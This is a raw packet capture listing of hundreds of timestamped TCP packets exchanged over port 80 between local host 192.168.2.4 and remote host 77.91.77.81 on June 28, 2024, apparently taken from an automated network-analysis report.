Jun 28, 2024 22:32:14.004621983 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.004631042 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.004632950 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.004645109 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.004645109 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.004664898 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.004846096 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.004857063 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.004865885 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.004873991 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.004878044 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.004888058 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.004889965 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.004901886 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.004913092 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.004920006 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.004920006 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.004925013 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.004930973 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.004945993 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.005145073 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.005156994 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.005166054 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.005177021 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.005177975 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.005187988 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.005198956 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.005202055 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.005208969 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.005212069 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.005220890 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.005244970 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.006295919 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.070142984 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.070152998 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.070162058 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.070202112 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.070211887 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.070223093 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.070230961 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.070233107 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.070255995 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.070307970 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.070334911 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.070574045 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.071362019 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.071424961 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.071434021 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.071484089 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.071484089 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.071562052 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.071573019 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.071583033 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.071593046 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.071640015 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.071640015 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.071715117 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.071724892 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.071733952 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.071746111 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.071794033 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.071794033 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.071860075 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.071899891 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.071909904 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.071963072 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.071971893 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.071983099 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.071985006 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.072011948 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.072165012 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.072175980 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.072185993 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.072192907 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.072196007 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.072212934 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.072213888 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.072226048 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.072235107 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.072241068 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.072247982 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.072259903 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.072565079 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.072611094 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.072624922 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.072637081 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.072647095 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.072654963 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.072673082 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.074328899 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.092904091 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.092948914 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.092958927 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.093033075 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.093041897 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.093054056 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.093060970 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.093065023 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.093075991 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.093115091 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.093115091 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.093128920 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.093862057 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.093913078 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.093923092 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.093976974 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.093976974 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.094007015 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094017982 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094027996 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094038963 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094084024 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.094084024 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.094105005 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094115973 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094125986 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094136000 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094146013 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094172001 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.094183922 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.094352007 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094362974 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094372034 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094381094 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094393015 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094396114 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.094403028 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094413996 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094415903 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.094424009 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.094424963 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094436884 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094446898 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094449997 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.094472885 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.094733000 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094743967 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094753027 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094780922 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.094878912 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094890118 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094899893 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094909906 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094919920 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094926119 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.094929934 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094943047 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094944954 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.094953060 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094964027 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.094965935 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.094979048 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.095273972 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.095284939 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.095294952 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.095295906 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.095308065 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.095319033 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.095320940 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.095330000 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.095340014 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.095344067 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.095366001 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.095547915 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.095558882 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.095567942 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.095578909 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.095581055 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.095588923 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.095592022 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.095599890 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.095613003 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.095616102 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.095623016 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.095638037 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.095638037 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.095935106 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.095944881 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.095954895 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.095962048 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.095968008 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.095978022 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.095982075 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.095990896 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.095999956 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.096003056 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.096016884 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.096209049 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.096220016 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.096229076 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.096237898 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.096240044 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.096251965 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.096256018 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.096262932 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.096273899 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.096278906 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.096278906 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.096318960 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.096329927 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.096338987 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.096347094 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.096349955 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.096355915 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.096368074 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.096378088 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.096383095 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.096383095 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.096389055 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.096400976 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.096405029 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.096405029 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.096431017 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.098352909 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.160888910 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.160958052 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.160989046 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.161066055 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.161117077 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.161127090 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.161137104 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.161164999 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.161164999 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.161212921 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.161223888 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.161237955 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.161264896 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.162163973 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.162220955 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.162230015 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.162231922 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.162285089 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.162295103 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.162305117 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.162309885 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.162318945 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.162358999 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.162444115 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.162453890 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.162508011 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.162518024 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.162530899 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.162533998 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.162559032 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.162581921 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.162643909 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.162656069 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.162688017 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.162770033 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.162781954 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.162794113 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.162802935 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.162813902 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.162832022 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.162908077 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.163029909 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.163039923 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.163050890 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.163060904 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.163069963 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.163080931 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.163090944 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.163095951 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.163100958 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.163115025 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.163147926 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.163147926 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.163335085 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.163347006 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.163448095 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.186158895 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.186177015 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.186186075 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.186233044 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.186285019 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.186295986 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.186307907 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.186309099 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.186321020 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.186336040 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.186470985 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.186480045 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.186490059 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.186495066 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.186501026 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.186511993 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.186515093 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.186522961 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.186533928 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.186538935 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.186546087 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.186561108 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.186745882 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.186763048 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.186769962 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.186774015 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.186786890 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.186796904 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.186800003 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.186810017 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.186820030 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.186824083 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.186836004 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.186846972 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.187024117 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.187050104 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.187052965 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.187062979 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.187161922 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.187175035 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.187186003 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.187186956 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.187226057 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.187226057 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.187354088 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.187364101 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.187374115 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.187383890 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.187393904 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.187402964 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.187414885 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.187417030 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.187424898 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.187458992 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.187458992 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.187657118 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.187669039 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.187678099 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.187686920 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.187695980 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.187705994 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.187710047 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.187716961 CEST	80	49732	77.91.77.81	192.168.2.4
